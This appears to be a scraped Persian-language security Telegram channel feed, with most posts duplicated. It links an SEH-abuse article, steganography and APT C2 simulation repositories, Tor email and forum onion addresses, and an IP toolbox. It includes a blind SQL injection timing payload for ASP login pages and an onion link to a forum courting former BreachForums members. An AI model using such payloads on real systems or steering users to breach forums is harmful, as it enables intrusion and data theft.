سوء استفاده از کنترل کننده های استثنا (رویکرد بدافزار به SEH)
https://moval0x1.github.io/posts/the-abuse-of-exception-handlers/
@pfksecurity
https://moval0x1.github.io/posts/the-abuse-of-exception-handlers/
@pfksecurity
The Reverser's Draft
The Abuse of Exception Handlers
How Exception Handlers can be abused in low-level stuff
Tricky ASP blind SQL Injection in a login page.
Payload👇
';%20waitfor%20delay%20'0:0:6'%20--%20
@pfksecurity
Payload👇
';%20waitfor%20delay%20'0:0:6'%20--%20
@pfksecurity
https://mail2torjgmxgexntbrmhvgluavhj7ouul5yar6ylbvjkxwqf6ixkwyd.onion
Mail2Tor
یک سرویس ایمیل ناشناس رایگان برای محافظت از حریم خصوصی شما است. وب سایت برای ثبت نام نیازی به اطلاعات اضافی ندارد، فقط به نام کاربری و رمز عبور نیاز دارد.
@PfkSecurity
Mail2Tor
یک سرویس ایمیل ناشناس رایگان برای محافظت از حریم خصوصی شما است. وب سایت برای ثبت نام نیازی به اطلاعات اضافی ندارد، فقط به نام کاربری و رمز عبور نیاز دارد.
@PfkSecurity
🕵️♂️ فایل های خود را از هر نوع در تصویر دلخواه خود با استفاده از استگانوگرافی مخفی کنید
https://github.com/JoshuaKasa/van-gonography
#steganography
@PfkSecurity
https://github.com/JoshuaKasa/van-gonography
#steganography
@PfkSecurity
GitHub
GitHub - JoshuaKasa/van-gonography: Hide 🕵️♂️ your files of any type inside a image of your choice using steganography
Hide 🕵️♂️ your files of any type inside a image of your choice using steganography - GitHub - JoshuaKasa/van-gonography: Hide 🕵️♂️ your files of any type inside a image of your choice using ste...
Bear C2
مجموعهای از اسکریپتهای C2، پیلودها و مرحلههای مورد استفاده در حملات شبیهسازی شده توسط گروههای APT روسیه است.
https://github.com/S3N4T0R-0X0/BEAR
#APT
@PfkSecurity
مجموعهای از اسکریپتهای C2، پیلودها و مرحلههای مورد استفاده در حملات شبیهسازی شده توسط گروههای APT روسیه است.
https://github.com/S3N4T0R-0X0/BEAR
#APT
@PfkSecurity
GitHub
GitHub - S3N4T0R-0X0/BEAR: Bear C2 is a compilation of C2 scripts, payloads, and stagers used in simulated attacks by Russian APT…
Bear C2 is a compilation of C2 scripts, payloads, and stagers used in simulated attacks by Russian APT groups, Bear features a variety of encryption methods, including AES, XOR, DES, TLS, RC4, RSA ...
این مخزن مجموعه ای از تمام شبیه سازی های APT است که بسیاری از بخش های حیاتی، اعم از خصوصی و دولتی را هدف قرار می دهد. این شبیهسازی شامل ابزارهای نوشتاری، سرورهای C2، بکدورها، تکنیکهای بهرهبرداری، استیدرها، بوتلودرها و بسیاری از ابزارهای دیگر است که مهاجمان ممکن است در حملات واقعی استفاده کرده باشند. این ابزارها و TTP ها در اینجا شبیه سازی شده اند.
https://github.com/S3N4T0R-0X0/APT-Attack-Simulation
#exploit #APT
@PfkSecurity
https://github.com/S3N4T0R-0X0/APT-Attack-Simulation
#exploit #APT
@PfkSecurity
GitHub
GitHub - S3N4T0R-0X0/APTs-Adversary-Simulation: This repository contains detailed adversary simulation APT campaigns targeting…
This repository contains detailed adversary simulation APT campaigns targeting various critical sectors. Each simulation includes custom tools, C2 servers, backdoors, exploitation techniques, stage...
⚠️تلگرام⚠️Astounding از SecretForums اعلام کرده است که به اعضای سابق BreachForums رتبه ای مشابه با آنچه در سایت داشتند می دهد.
secretsmt222qvdg6rcmgvx4dqqc2673yzyxjrrnabwklnn6qddyv5ad.onion
@PfkSecurity
secretsmt222qvdg6rcmgvx4dqqc2673yzyxjrrnabwklnn6qddyv5ad.onion
@PfkSecurity
💡MyIP💡
"بررسی آسان IP های شما، موقعیت جغرافیایی IP، بررسی نشت DNS، بررسی اتصالات WebRTC، تست سرعت، تست پینگ، تست MTR، بررسی در دسترس بودن وب سایت، جستجوی whois و موارد دیگر!"
GitHub: https://github.com/jason5ng32/MyIP
@PfkSecurity
"بررسی آسان IP های شما، موقعیت جغرافیایی IP، بررسی نشت DNS، بررسی اتصالات WebRTC، تست سرعت، تست پینگ، تست MTR، بررسی در دسترس بودن وب سایت، جستجوی whois و موارد دیگر!"
GitHub: https://github.com/jason5ng32/MyIP
@PfkSecurity
GitHub
GitHub - jason5ng32/MyIP: The best IP Toolbox. Easy to check what's your IPs, IP geolocation, check for DNS leaks, examine WebRTC…
The best IP Toolbox. Easy to check what's your IPs, IP geolocation, check for DNS leaks, examine WebRTC connections, speed test, ping test, MTR test, check website availability, whois searc...